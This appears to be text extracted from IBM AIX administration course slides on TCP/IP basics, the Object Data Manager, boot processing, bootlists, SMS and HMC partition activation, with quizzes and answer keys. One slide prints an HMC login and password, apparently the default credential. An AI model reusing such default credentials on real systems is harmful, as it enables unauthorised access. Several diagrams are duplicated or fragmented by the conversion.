   - Which file holds the name and the TCP/IP address of each host in a flat network? __________________________
1. What are the following commands used for?
   - **ftp** transfers files from one machine to another
   - **rexec** executes a command on a remote system
   - **telnet** logins to another system

   - What is the difference (if any) between a **host** and a **gateway**?
     A host is an individual machine connected to a network, whereas a gateway is a special kind of host which links two or more physical networks together.

   - **True** or **false**? Each machine in a TCP/IP network must have a unique hostname and TCP/IP address.

   - Which file holds the name and the TCP/IP address of each host in a flat network? **/etc/hosts**
Exercise 19: Networking

• Deconfigure TCP/IP
• Configure TCP/IP
• Testing the configuration
• Using telnet
• Using ftp
Unit summary

• TCP/IP is a networking architecture which defines a set of rules. These rules describe how computers can communicate with one another over a network.

• A flat TCP/IP network can be configured through SMIT by supplying the following information: addresses, subnet mask and hostnames.

• There are many useful utilities which are provided by TCP/IP, such as telnet to login to another system, ftp to transfer files and rexec to execute a command on a remote system.

• Use the ping command to check for connectivity to remote hosts.
Welcome to:

The Object Data Manager (ODM)
Unit Objectives

After completing this unit, you should be able to:

• Describe the structure of the ODM

• Use the ODM command line interface

• Explain the role of the ODM in device configuration

• Describe the function of the most important ODM files
What Is the ODM?

• The Object Data Manager (ODM) is a database intended for storing system information.

• Physical and logical device information is stored and maintained through use of objects with associated characteristics.
Data Managed by the ODM

- Devices
- Software
- System Resource Controller
- SMIT Menus
- TCP/IP Configuration
- Error Log, Dump
- NIM
<table>
<thead>
<tr>
<th>uniquetype</th>
<th>attribute</th>
<th>deflt</th>
<th>values</th>
</tr>
</thead>
<tbody>
<tr>
<td>tape/scsi/scsd</td>
<td>block_size</td>
<td>none</td>
<td>0-2147483648,1</td>
</tr>
<tr>
<td>disk/scsi/osdisk</td>
<td>pvid</td>
<td>none</td>
<td></td>
</tr>
<tr>
<td>tty/rs232/tty</td>
<td>login</td>
<td>disable</td>
<td>enable, disable, ...</td>
</tr>
</tbody>
</table>
## ODM Database Files

<table>
<thead>
<tr>
<th><strong>Predefined device information</strong></th>
<th><em>PdDv, PdAt, PdCn</em></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Customized device information</strong></td>
<td><em>CuDv, CuAt, CuDep, CuDvDr, CuVPD, Config_Rules</em></td>
</tr>
<tr>
<td><strong>Software vital product data</strong></td>
<td>history, inventory, lpp, product</td>
</tr>
<tr>
<td><strong>SMIT menus</strong></td>
<td><em>sm_menu_opt, sm_name_hdr, sm_cmd_hdr, sm_cmd_opt</em></td>
</tr>
<tr>
<td><strong>Error log, alog, and dump information</strong></td>
<td>SWservAt</td>
</tr>
<tr>
<td><strong>System Resource Controller</strong></td>
<td>SRCsubsys, SRCsubsvr, ...</td>
</tr>
<tr>
<td><strong>Network Installation Manager (NIM)</strong></td>
<td>nim_attr, nim_object, nim_pdattr</td>
</tr>
</tbody>
</table>
Device Configuration Summary

Predefined Databases
- PdCn
- PdDv
- PdAt

Customized Databases
- CuDep
- CuDvDr
- CuDv
- CuAt
- CuVPD

Config_Rules

Configuration Manager (cfgmgr)
Configuration Manager

Predefined
- PdDv
- PdAt
- PdCn

"Plug and Play"

Config_Rules

Customized
- CuDv
- CuAt
- CuDep
- CuDvDr
- CuVPD

Methods
- Define
- Configure
- Change
- Unconfigure
- Undefine

Device Driver

Load
Unload
Location and Contents of ODM Repositories

CuDv
CuAt
CuDep
CuDvDr
CuVPD
Config_Rules

history
inventory
lpp
product

nim_*
SWservAt
SRC*

PdDv
PdAt
PdCn

history
inventory
lpp
product

sm_*

Network

/etc/objrepos
/usr/lib/objrepos
/usr/share/lib/objrepos
How ODM Classes Act Together

PdDv:
  type = "14106902"
  class = "adapter"
  subclass = "pci"
  prefix = "ent"

  DvDr = "pci/goentdd"
  Define = /usr/lib/methods/define_rspc"
  Configure = "/usr/lib/methods/cfggoent"

  uniquetype = "adapter/pci/14106902"

CuDv:
  name = "ent1"
  status = 1
  chgstatus = 2
  ddins = "pci/goentdd"
  location = "02-08"
  parent = "pci2"
  connwhere = "8"

  PdDvLn = "adapter/pci/14106902"

PdAt:
  uniquetype = "adapter/pci/14106902"
  attribute = "jumbo_frames"
  deflt = "no"
  values = "yes,no"

CuAt:
  name = "ent1"
  attribute = "jumbo_frames"
  value = "yes"
  type = "R"

chdev -l ent1 \
  -a jumbo_frames=yes

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Data Not Managed by the ODM

Filesystem information → ?

User/Security information → ?

Queues and Queue devices → ?
Let’s Review:
Device Configuration and the ODM

1. __________

Undefined → Defined

2. __________ → 3. __________

AIX Kernel

D____ D____ 4. /____/______

Available

Applications

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**ODM Commands**

Object class: `odmcreate`, `odmdrop`

Descriptors: `odmshow`

<table>
<thead>
<tr>
<th>uniquetype</th>
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</tr>
<tr>
<td>tty/rs232/tty</td>
<td>login</td>
<td>disable</td>
<td>enable, disable, ...</td>
</tr>
</tbody>
</table>

Objects: `odmadd`, `odmchange`, `odmdelete`, `odmget`
# odmget -q"uniquetype=tape/scsi/scsd and attribute=block_size" PdAt > file
# vi file

PdAt:
    uniquetype = "tape/scsi/scsd"
    attribute = "block_size"
    deflt = "512"
    values = "0-2147483648,1"
    width = ""
    type = "R"
    generic = "DU"
    rep = "nr"
    nls_index = 6

Modify deflt to 512

# odmdelete -o PdAt -q"uniquetype=tape/scsi/scsd and attribute=block_size"
# odmadd file
Using `odmchange` to Change Attribute Values

```
# odmget -q"uniquetype=tape/scsi/scsd and attribute=block_size" PdAt > file
# vi file

PdAt:
  uniquetype = "tape/scsi/scsd"
  attribute = "block_size"
  deflt = "512"
  values = "0-2147483648,1"
  width = ""
  type = "R"
  generic = "DU"
  rep = "nr"
  nls_index = 6

# odmchange -o PdAt -q"uniquetype=tape/scsi/scsd and attribute=block_size" file
```

Modify `deflt` to 512
Software Vital Product Data

lpp:
name = "bos.rte.printers"
size = 0
state = 5
ver = 6
rel = 1
mod = 0
fix = 0
description = "Front End Printer Support"
lpp_id = 38

inventory:
lpp_id = 38
private = 0
file_type = 0
format = 1
loc0 = "/etc/qconfig"
loc1 = ""
loc2 = ""
size = 0
checksum = 0

product:
lpp_name = "bos.rte.printers"
comp_id = "5765-C3403"
state = 5
ver = 6
rel = 1
mod = 0
fix = 0
ptf = ""
prereq = "*coreq bos.rte 5.1.0.0"
description = ""
supersedes = ""

history:
lpp_id = 38
ver = 6
rel = 1
mod = 0
fix = 0
ptf = ""
state = 1
time = 1187714064
comment = ""
# Software States You Should Know About

<table>
<thead>
<tr>
<th>Applied</th>
<th>Applied, Committing, Rejecting, Deinstalling</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Only possible for PTFs or Updates</td>
<td>If installation was not successful:</td>
</tr>
<tr>
<td>• Previous version stored in <code>/usr/lpp/Package_Name</code></td>
<td>• <code>installp -C</code></td>
</tr>
<tr>
<td>• Rejecting update recovers to saved version</td>
<td>• <code>smit maintain_software</code></td>
</tr>
<tr>
<td>• Committing update deletes previous version</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Committed</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>• Removing committed software is possible</td>
<td></td>
</tr>
<tr>
<td>• No return to previous version</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Broken</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>• Cleanup failed</td>
<td></td>
</tr>
<tr>
<td>• Remove software and reinstall</td>
<td></td>
</tr>
</tbody>
</table>
Predefined Devices (PdDv)

PdDv:

type = "scsd"
class = "tape"
subclass = "scsi"
prefix = "rmt"
...
base = 0
...
detectable = 1
...
led = 2418

setno = 54
msgno = 0
catalog = "devices.cat"

DvDr = "tape"

Define = "/etc/methods/define"
Configure = "/etc/methods/cfgsctape"
Change = "/etc/methods/chggen"
Unconfigure = "/etc/methods/ucfgdevice"
Undefine = "etc/methods/undefine"
Start = ""
Stop = ""
...
uniquetype = "tape/scsi/scsd"
Predefined Attributes (PdAt)

PdAt:
unique-type = "tape/scsi/scsd"
attribute = "block_size"
deflt = ""
values = "0-2147483648,1"
...

PdAt:
unique-type = "disk/scsi/osdisk"
attribute = "pvid"
deflt = "none"
values = ""
...

PdAt:
unique-type = "tty/rs232/tty"
attribute = "term"
deflt = "dumb"
values = ""
...

Customized Devices (CuDv)

CuDv:

name = "ent1"
status = 1
chgstatus = 2
ddins = "pci/goentdd"
location = "02-08"
parent = "pci2"
connwhere = "8"
PdDvLn = "adapter/pci/14106902"

CuDv:

name = "hdisk2"
status = 1
chgstatus = 2
ddins = "scdisk"
location = "01-08-01-8,0"
parent = "scsi1"
connwhere = "8,0"
PdDvLn = "disk/scsi/scsd"
Customized Attributes (CuAt)

CuAt:
  name = "ent1"
  attribute = "jumbo_frames"
  value = "yes"
  ...

CuAt:
  name = "hdisk2"
  attribute = "pvid"
  value = "00c35ba0816eafe5000000000000000000"
  ...

## Additional Device Object Classes

### PdCn:
- uniquetype = "adapter/pci/sym875"
- connkey = "scsi"
- connwhere = "1,0"

### PdCn:
- uniquetype = "adapter/pci/sym875"
- connkey = "scsi"
- connwhere = "2,0"

### CuDvDr:
- resource = "devno"
- value1 = "36"
- value2 = "0"
- value3 = "hdisk3"

### CuDvDr:
- resource = "devno"
- value1 = "36"
- value2 = "1"
- value3 = "hdisk2"

### CuVPD:
- name = "hdisk2"
- vpd_type = 0
- vpd = 

  *MFIBM     *TM
  HUS151473VL3800 *F03N5280

  *RL53343341*SN009DAFDF*ECH17
  923D   *P26K5531     *Z0
  000004029F00013A*ZVMPSS43A

  *Z20068*Z307220

### CuDep:
- name = "rootvg"
- dependency = "hd6"

### CuDep:
- name = "datavg"
- dependency = "lv01"
1. In which ODM class do you find the physical volume IDs of your disks?

__________________________________________________

2. What is the difference between state defined and available?

__________________________________________________

__________________________________________________

__________________________________________________

__________________________________________________

__________________________________________________
1. In which ODM class do you find the physical volume IDs of your disks?
   
   **CuAt**

2. What is the difference between state defined and available?

   When a device is defined, there is an entry in ODM class **CuDv**. When a device is available, the device driver has been loaded. The device driver can be accessed by the entries in the `/dev` directory.
Exercise 2: The Object Data Manager (ODM)

- Review of device configuration ODM classes
- Role of ODM during device configuration
- Creating self-defined ODM classes (Optional)
• The ODM is made from object **classes**, which are broken into individual **objects** and **descriptors**

• AIX offers a **command line interface** to work with the ODM files

• The **device information** is held in the **customized** and the **predefined** databases (**Cu***, **Pd**)
System Initialization Part 1
Unit Objectives

After completing this unit, you should be able to:

- Describe the boot process through to the loading the boot logical volume
- Describe the contents of the boot logical volume
- Interpret LED codes displayed during boot and at system halt
- Re-create the boot logical volume on a system which is failing to boot
- Describe the features of a service processor
How Does An AIX System Boot?

1. Check and initialize the hardware POST
2. Locate the boot image using the boot list
3. Load the boot image and pass control
4. Configure devices (cfgmgr)
5. Start `init` and process `/etc/inittab`
Loading of a Boot Image

Firmware
Boot devices
(1) Diskette
(2) CD-Rom
(3) Internal disk
(4) Network

Boot controller

RAM

Bootstrap code

Boot Logical Volume (hd5)

hdisk0
Contents of the Boot Logical Volume (hd5)

- AIX Kernel
- RAMFS
- Reduced ODM
Boot Device Alternatives

- Boot device is first one found with a boot image in bootlist
- If boot device is removable media (CD, DVD, Tape) – boots to the Install and Maintenance menu
- If the boot device is a network adapter – boot result depends on NIM configuration for client machine:
  - `nim -o bos_inst`: Install and Maintenance menu
  - `nim -o maint_boot`: Maintenance menu
  - `nim -o diag`: Diagnostic menu
- If boot device is a disk – boot depends on “service key” usage
  - Normal mode boot – boot to multi-user
  - Service mode boot – Diagnostic menu
  - Two types of service mode boots:
    - Requesting default service bootlist (key 5 or F5)
    - Requesting customized service bootlist (key 6 or F6)
    - HMC advanced boot options support both of the above options
How to Fix a Corrupted BLV

1. Access a Root Volume Group
   - Use `bosboot -ad /dev/hdisk0`
   - Use `shutdown -Fr`

Boot from bootable media:
CD, tape or NIM

Select volume group that contains `hd5`

HMC boot option
Diagnostic with default bootlist

(F5 or #1 to set SMS options)
Working with Bootlists

• Normal Mode:

```
# bootlist -m normal hdisk0 hdisk1
# bootlist -m normal -o
hdisk0 blv=hd5
hdisk1 blv=hd5
```

• Service Mode:

```
# bootlist -m service -o
cd0
hdisk0 blv=hd5
ent0
```

```
# diag
```

**TASK SELECTION LIST**

- Display Service Hints
- Display Software Product Data
- Display or Change Bootlist
- Gather System Information
Starting System Management Services

- Reboot or power on the system
- Press F1 or numeric 1 or specify SMS on HMC activate

1 = SMS Menu
8 = Open Firmware Prompt
5 = Default Boot List
6 = Stored Boot List

...
Working with Bootlists in SMS (1 of 2)

2. Tape
System Management Services
Main Menu
3. CD/DVD
4. Select Language
5. Setup Remote IPL
   (Initial Program Load)
6. Change SCSI Settings
7. Select Console
8. Select Boot Options

Multiboot
1. Select Install/Boot Device
2. Configure Boot Device Order
3. Multiboot Startup <OFF>

Configure Boot Device Order

1. Select 1st Boot Device
2. Select 2nd Boot Device
3. Select 3rd Boot Device
4. Select 4th Boot Device
5. Select 5th Boot Device
6. Display Current Setting
7. Restore Default Setting

---

6. Network

7. None

8. List All Devices

---
Working with Bootlists in SMS (2 of 2)

Select Device
Device  Current  Device
Number  Position  Name
1.        -      IBM 10/100/1000 Base-TX PCI-X Adapter
            ( loc=U789D.001.DQDWAYT-P1-C5-T1 )
2.        -      SAS 73407 MB Harddisk, part=2 (AIX 6.1.0)
            ( loc=U789D.001.DQDWAYT-P3-D1 )
3.        1      SATA CD-ROM
            ( loc=U789D.001.DQDWAYT-P1-T3-L8-L0 )
4.    None

Select Task
SAS 73407 MB Harddisk, part=2 (AIX 6.1.0)
1.   Information
2.   Set Boot Sequence: Configure as 1st Boot Device

Current Boot Sequence
1.  SAS 73407 MB Harddisk, part=2 (AIX 6.1.0)
2.    None
3.    None
4.    None

==> 2

None
Service Processors and Boot Failures

Boot failure!

Service Processor

Automatic transmittal of boot failure information

IBM Support Center

HMC

Internet

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Let's Review

• True or False? You must have AIX loaded on your system to use the System Management Services programs.

• Your AIX system is currently powered off. AIX is installed on **hdisk1** but the bootlist is set to boot from **hdisk0**. How can you fix the problem and make the machine boot from **hdisk1**?

3. Your machine is booted and at the `#` prompt.
   • What is the command that will display the bootlist?
     ________________
   b) How could you change the bootlist?
     ________________

4. What command is used to build a new boot image and write it to the boot logical volume?
   ________________

5. What script controls the boot sequence? ________________
• True or False? You must have AIX loaded on your system to use the System Management Services programs. **False. SMS is part of the built-in firmware.**

2. Your AIX system is currently powered off. AIX is installed on **hdisk1** but the bootlist is set to boot from **hdisk0**. How can you fix the problem and make the machine boot from **hdisk1**? **You need to boot the SMS programs. Press F1 or 1 when the logos appear at boot time and set the new boot list to include **hdisk1**.**

3. Your machine is booted and at the # prompt.
   - What is the command that will display the bootlist? **bootlist -om normal.**
   - How could you change the bootlist? **bootlist -m normal device1 device2**
   - What command is used to build a new boot image and write it to the boot logical volume? **bosboot -ad /dev/hdiskx**
   - What script controls the boot sequence? **rc.boot**
Accessing a System That Will Not Boot

Boot the system from the BOS CD-ROM, tape or network device (NIM)

Select maintenance mode

Perform corrective actions

Recover data

Maintenance

- Access a Root Volume Group
- Copy a System Dump to Media
- Access Advanced Maintenance
- Install from a System Backup
Booting in Maintenance Mode

Welcome to Base Operating System Installation and Maintenance

Type the number of your choice and press Enter. Choice is indicated by >>>.

>>> 1 Start Install Now with Default Settings
2 Change/Show Installation Settings and Install
3 Start Maintenance Mode for System Recovery
4 Configure Network Disks (iSCSI)

>>> Choice [1]: 3

Define the System Console

Type the number of your choice and press Enter.

1 Access a Root Volume Group
2 Copy a System Dump to Removable Media
3 Access Advanced Maintenance Functions
4 Erase Disks
5 Configure Network Disks (iSCSI)
6 Install from a System Backup

Choice [1]: 1
Working in Maintenance Mode

Access a Root Volume Group

Type the number for a volume group to display the logical volume information and press Enter.

1) Volume Group 00c35ba000004c00000001153ce1c4b0 contains these disks:

   hdisk1  70006     02-08-00     hdisk0  70006     02-08-00

Volume Group ID 00c35ba000004c00000001153ce1c4b0 includes the following logical volumes:

   hd5         hd6         hd8         hd4         hd2      hd9var
   hd3         hd1         hd10opt

Type the number of your choice and press Enter.
1) Access this Volume Group and start a shell
2) Access this Volume Group and start a shell before mounting filesystems

99) Previous Menu

Choice [99]: 1
Progress and Reference Codes

● Progress Codes
● System Reference Codes (SRCs)
● Service Request Numbers (SRNs)

● Obtained from:
  – Front panel of system enclosure
  – HMC or IVM (for logically partitioned systems)
  – Operator console message or diagnostics (diag utility)

● Online hardware and AIX documentation available at: http://publib.boulder.ibm.com/infocenter/systems
  – Search for: “service support troubleshooting”
    • Customer Service, Support, and Troubleshooting manual
    • Covers procedures and lists of reference codes
  – For AIX progress codes, search for “AIX Progress Codes”
  – For AIX message codes, click on Message Center

● RS/6000 iSeries pSeries Diagnostic Information for Multiple Bus Systems (SA38-0509)
Firmware Checkpoints and Error Codes

- 20EE000B
- "Boot record Error"
- "No memory found"
- Monitor
- LED/LCD display
- F22
LED 888 Code

Software

- 888 code
  - Reset

102
- Yes
  - Reset for crash code
  - Reset for dump code

103
- Hardware or Software
  - Reset twice for SRN yyy-zzz
  - Reset once for FRU
  - Reset 8 times for location code

Optional codes for hardware failure
Understanding the 103 Message

**FRU** = Field Replaceable Unit  
**SRN** = Service Request Number

![Diagram of the 103 Message]

- **SRN** identifying the FRU (104-101)
- Type of read-out (103)
- # of FRU sequence (1st defect part)
- Location code

<table>
<thead>
<tr>
<th>Code</th>
<th>Character</th>
</tr>
</thead>
<tbody>
<tr>
<td>00=0</td>
<td>0</td>
</tr>
<tr>
<td>01=1</td>
<td>A</td>
</tr>
<tr>
<td>02=2</td>
<td>B</td>
</tr>
<tr>
<td>03=3</td>
<td>C</td>
</tr>
<tr>
<td>04=4</td>
<td>D</td>
</tr>
<tr>
<td>05=5</td>
<td>E</td>
</tr>
<tr>
<td>06=6</td>
<td>F</td>
</tr>
<tr>
<td>07=7</td>
<td>G</td>
</tr>
<tr>
<td>08=8</td>
<td>H</td>
</tr>
<tr>
<td>09=9</td>
<td>I</td>
</tr>
<tr>
<td>10=1</td>
<td>J</td>
</tr>
<tr>
<td>11=2</td>
<td>K</td>
</tr>
<tr>
<td>12=3</td>
<td>L</td>
</tr>
<tr>
<td>13=4</td>
<td>M</td>
</tr>
<tr>
<td>14=5</td>
<td>N</td>
</tr>
<tr>
<td>15=6</td>
<td>O</td>
</tr>
<tr>
<td>16=7</td>
<td>P</td>
</tr>
<tr>
<td>17=8</td>
<td>Q</td>
</tr>
<tr>
<td>18=9</td>
<td>R</td>
</tr>
<tr>
<td>19=0</td>
<td>S</td>
</tr>
<tr>
<td>20=1</td>
<td>T</td>
</tr>
<tr>
<td>21=2</td>
<td>U</td>
</tr>
<tr>
<td>22=3</td>
<td>V</td>
</tr>
<tr>
<td>23=4</td>
<td>W</td>
</tr>
<tr>
<td>24=5</td>
<td>X</td>
</tr>
<tr>
<td>25=6</td>
<td>Y</td>
</tr>
<tr>
<td>26=7</td>
<td>Z</td>
</tr>
</tbody>
</table>

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Problem Reporting Form (1 of 2)

• Search for “Problem Reporting Form” at information center
• Items to fill in:
  • Your name, Mailing address, Telephone number, Fax number
  • IBM customer number, if available
  • Date and time that the problem occurred
  • Description of the problem
  • Machine type, Model, Serial number
  • Logical partition state, Logical partition ID
  • Logical partition operating system, version, and release
  • IPL type, IPL mode
  • Message ID, Message text
  • From/send program, Instruction number
  • To/receive program, Instruction number
  • Service request number (SRN) SRN:
  • In what mode were AIX hardware diagnostics run?
    Online? Stand-alone? Service mode? Concurrent mode?
  • Go to the HMC or control panel and indicate whether the following lights are on: Power On. System Attention
(continued on next page)
Problem Reporting Form (2 of 2)

• Using the HMC (reference code history) or control panel (using increment button), find and record the values for functions 11 through 19. (See Collecting reference codes and system information for step-by-step instructions on finding reference codes.)

• Use the grid to record the characters shown on the HMC.

11 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __

12 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __

... 

19 __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __

20 (if you use the control panel – use increment button) __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __ __

20 (if you use the HMC) Machine type: Model: Processor feature code: IPL type:

Note: For item 20:
  if HMCv7: Use Serviceability … Control Panel Functions
  if pre HMCv7: Use Service Focal Point … Service Utilities… Operator Panel Service Functions
Firmware Fixes

● The following types of firmware (Licensed Internal Code) fixes are available:
  – Server firmware
  – Power subsystem firmware
  – I/O adapter and device firmware

● Types of firmware maintenance:
  – Disruptive (always for upgrades to new version/release)
  – Concurrent (only if using HMC interface for service pack)

● Firmware maintenance can be done:
  – Using the HMC
  – Through the operating system (service partition)

● Systems with an HMC should normally use the HMC

● Firmware maintenance through the operating system is always disruptive
Getting Firmware Updates from the Internet

• Get firmware updates from IBM at:
  http://techsupport.services.ibm.com/server/mdownload

• Update firmware through:
  – Hardware Management Console

• For more information, go to the online Performing Licensed Internal Code Maintenance course:
  – Select Education
  – Select eServer i5 and eServer p5
  or System p POWER6 hardware
  – Select Performing Licensed Internal Code Maintenance
HMC Remote Access

- HMCv6 – Use WebSM client
- HMCv7 – Use Web Browser with SSL

user: hscroot
pw: abc123
HMCv6: Activate a Partition

- Partition must be in the *Not Activated* state
- Select the partition profile name and right-click Activate
Select the profile and check the terminal window check box.
HMCv7: Server Management

Welcome (HMC Version)

Use the Hardware Management Console (HMC) to manage this HMC as well as servers, logical partitions, managed systems, and other resources. Click on a link in the navigation pane at the left.

- **Systems Management**: Manage servers, logical partitions, managed systems, and frames; set up, configure, view current status, troubleshoot, and apply solutions.
- **System Plans**: Import, deploy, and manage system plans on the HMC.
- **HMC Management**: Perform management tasks to set up, configure, and customize operations associated with this HMC.
- **Service Management**: Perform service tasks to create, customize and manage services associated with this HMC.
- **Updates**: Perform and manage updates on your system.
- **Status Bar**: View details of status and messages.
- **Additional Resources**: Provides a step-by-step process to configure your HMC.
HMCv7: Activate Partition Operation
HMCv7: Activate Partition Options

Select a profile below to activate the logical partition with.

Partition name: v1par2
Partition profiles:
- default
- plus-PhysAdapters

Open a terminal window or console session

Advanced...

Set advanced activate:
- Do Not Override
- Normal
- SMS
- Diagnostic with default boot list
- Diagnostic with stored boot
- SMS
- Open Firmware OK Prompt

Keylock position:

Boot mode:
- Do Not Override
• True or False? During the AIX boot process, the AIX kernel is loaded from the **root** file system.

• True or False? A service processor allows actions to occur even when the regular processors are down.

5. How do you boot an AIX machine in maintenance mode?

6. Your machine keeps rebooting and repeating the POST. What can be the reason for this?
• True or False? During the AIX boot process, the AIX kernel is loaded from the root file system.

   False. The AIX kernel is loaded from hd5.

• True or False? A service processor allows actions to occur even when the regular processors are down.

• How do you boot an AIX machine in maintenance mode?

   You need to boot from an AIX CD, mksysb, or NIM server.

6. Your machine keeps rebooting and repeating the POST. What can be the reason for this?

   Invalid boot list, corrupted boot logical volume, or hardware failures of boot device.
Exercise 3: System Initialization Part I

• Work with bootlists and identify information on your system
• Identify LVM information from your system
• Repair a corrupted boot logical volume
Unit Summary

- During the boot process, the kernel from the boot image is loaded into memory.
- Boot devices and sequences can be updated using the `bootlist` command, the `diag` command, and SMS.
- The boot logical volume contains an AIX kernel, an ODM, and a RAM file system (that contains the boot script `rc.boot` that controls the AIX boot process).
- The boot logical volume can be re-created using the `bosboot` command.
- LED codes produced during the boot process can be used to diagnose boot problems.
Welcome to:

System Initialization Part 2
After completing this unit, you should be able to:

• Identify the steps in system initialization from loading the boot image to boot completion

• Identify how devices are configured during the boot process

• Analyze and solve boot problems
System Software Initialization Overview

1. Load kernel and pass control
2. Restore RAM file system from boot image
3. Start init process (from RAMFS)
   - rc.boot 1
   - rc.boot 2
   - rc.boot 3
4. Configure base devices
5. Activate rootvg
6. Configure remaining devices

/etc/inittab
Failure LED

Process 1

F05
init

rc.boot 1

restbase

510
cfgmgr -f

bootinfo -b

511

rootvg is not active!

Boot image
ODM

RAM file system
ODM

Config_Rules
phase=1

Devices to activate rootvg are configured!
rc.boot 2 (Part 1)

- **ipl_varyon**
  - `fsck -f /dev/hd4`  
  - `mount /dev/hd4 /`

- **hd4:**
  - `/`

- **hd2:**
  - `/usr`

- **hd9var:**
  - `/var`

- **hd6**

- **rootvg**
  - `dev`
  - `etc`
  - `mnt`
  - `usr`
  - `var`

- **RAM File system**

- **copycore**
  - if dump, copy

- **swapon /dev/hd6**
swapon /dev/hd6

Copy RAM /dev files to disk: mergedev

Copy RAM ODM files to disk:
cp
  /../etc/objrepos/Cu*
  /etc/objrepos
  mount /var

Copy boot messages to alog

Kernel removes RAMFS

rootvg

hd4: /
hd2: /usr
hd9var: /var
hd6

RAM file system
Process 1

```bash
init
```

Here we work with rootvg!

```
fsck -f /dev/hd3
mount /tmp
```

```
syncvg rootvg &
```

```
Normal: cfgmgr -p2
Service: cfgmgr -p3
```

```
c31  cfgcon  c32
 c33  rc.dt boot  c34
```

```
savebase
```

```
/etc/inittab:
/sbin/rc.boot 3
```

```
fsck -f /dev/hd3
mount /tmp
```

```
syncvg rootvg &
```

```
Normal: cfgmgr -p2
Service: cfgmgr -p3
```

```
c31  cfgcon  c32
 c33  rc.dt boot  c34
```

```
savebase
```

```
/etc/objrepos:
ODM
```

```
hd5: ODM
```

```
ODM
```

```
ODM
```

Config_Rules

```
phase=2
phase=3
```

```bash
Process 1
```

```
:init
```

```
Here we work with rootvg!
```

```
fsck -f /dev/hd3
mount /tmp
```

```
syncvg rootvg &
```

```
Normal: cfgmgr -p2
Service: cfgmgr -p3
```

```
c31  cfgcon  c32
 c33  rc.dt boot  c34
```

```
savebase
```

```
/etc/inittab:
/sbin/rc.boot 3
```

```
fsck -f /dev/hd3
mount /tmp
```

```
syncvg rootvg &
```

```
Normal: cfgmgr -p2
Service: cfgmgr -p3
```

```
c31  cfgcon  c32
 c33  rc.dt boot  c34
```

```
savebase
```

```
/etc/objrepos:
ODM
```

```
hd5: ODM
```

```
ODM
```

```
ODM
```

```
ODM
```

```
ODM
```

```
ODM
```

```
ODM
```

```
ODM
```
A device that was previously detected could not be found. Run "diag -a".

System initialization completed.
<table>
<thead>
<tr>
<th>rc.boot 1</th>
<th>Where From</th>
<th>Action</th>
<th>Phase Config_Rules</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>/dev/ram0</td>
<td>restbase</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td></td>
<td>cfgmgr -f</td>
<td></td>
</tr>
<tr>
<td>rc.boot 2</td>
<td>/dev/ram0</td>
<td>ipl_varyon</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>rootvg</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Merge /dev</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Copy ODM</td>
<td></td>
</tr>
<tr>
<td>rc.boot 3</td>
<td>rootvg</td>
<td>cfgmgr -p2</td>
<td>2-normal</td>
</tr>
<tr>
<td></td>
<td></td>
<td>cfgmgr -p3</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>savebase</td>
<td>3-service</td>
</tr>
</tbody>
</table>
Let's Review: rc.boot 1

(1)

(4)

(2)

(3)

(5)
Let's Review Solution: \texttt{rc.boot 1}

\begin{enumerate}
\item \texttt{/etc/init} from RAMFS in the boot image
\item \texttt{restbase}
\item \texttt{cfgmgr -f}
\item ODM files in RAM file system
\item \texttt{bootinfo -b}
\end{enumerate}
Let's Review: `rc.boot 2`

```
rc.boot 2
(1)
(2)
(3)
(4)
```

```
(5)
(6)
(7)
(8)
```

557
Let's Review Solution: \texttt{rc.boot 2}

1. Activate rootvg
2. Mount /dev/hd4 on / in RAMFS
3. Mount /var
   Copy dump
   Unmount /var
4. Turn on paging
5. Merge RAM /dev files
6. Copy RAM ODM files
7. Copy boot messages to alog
8. mount /dev/hd4

557
Let's Review: rc.boot 3

From which file is rc.boot 3 started:
_________________

/sbin/rc.boot 3

fsck -f ______
mount ______

s______ ______&

______  -p2
_______  -p3

Start Console: _____
Start CDE: _______

Update ODM in BLV

_________________

sy_______
err_______

Turn off _____

rm _________

_______=3
______?

Execute next line in
__________

sy_______
err_______

Turn off _____

rm _________

_______=3
______?

Execute next line in
__________

Missing devices ?

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Let's Review Solution: `rc.boot 3`

1. Start Console: `cfgcon`
2. Start CDE: `rc.dt boot`
3. `/etc/inittab`
4. `/sbin/rc.boot3`
5. `fsck -f /dev/hd3`
6. `mount /tmp`
7. `syncvg rootvg &`
8. `cfgmgr -p2`
9. `cfgmgr -p3`
10. `savebase`
11. `syncd 60`  
   `errdemon`
12. `Turn off LED`
13. `rm /etc/nologin`
14. `chgstatus=3`  
   `CuDv ?`
15. `Execute next line in /etc/inittab`
## Config_Rules Object Class

<table>
<thead>
<tr>
<th>Phase</th>
<th>seq</th>
<th>boot</th>
<th>rule</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>10</td>
<td>0</td>
<td>/etc/methods/defsys</td>
</tr>
<tr>
<td>1</td>
<td>12</td>
<td>0</td>
<td>/usr/lib/methods/deflvm</td>
</tr>
<tr>
<td>2</td>
<td>10</td>
<td>0</td>
<td>/etc/methods/defsys</td>
</tr>
<tr>
<td>2</td>
<td>12</td>
<td>0</td>
<td>/usr/lib/methods/deflvm</td>
</tr>
<tr>
<td>2</td>
<td>19</td>
<td>0</td>
<td>/etc/methods/ptynode</td>
</tr>
<tr>
<td>2</td>
<td>20</td>
<td>0</td>
<td>/etc/methods/startlft</td>
</tr>
<tr>
<td>3</td>
<td>10</td>
<td>0</td>
<td>/etc/methods/defsys</td>
</tr>
<tr>
<td>3</td>
<td>12</td>
<td>0</td>
<td>/usr/lib/methods/deflvm</td>
</tr>
<tr>
<td>3</td>
<td>19</td>
<td>0</td>
<td>/etc/methods/ptynode</td>
</tr>
<tr>
<td>3</td>
<td>20</td>
<td>0</td>
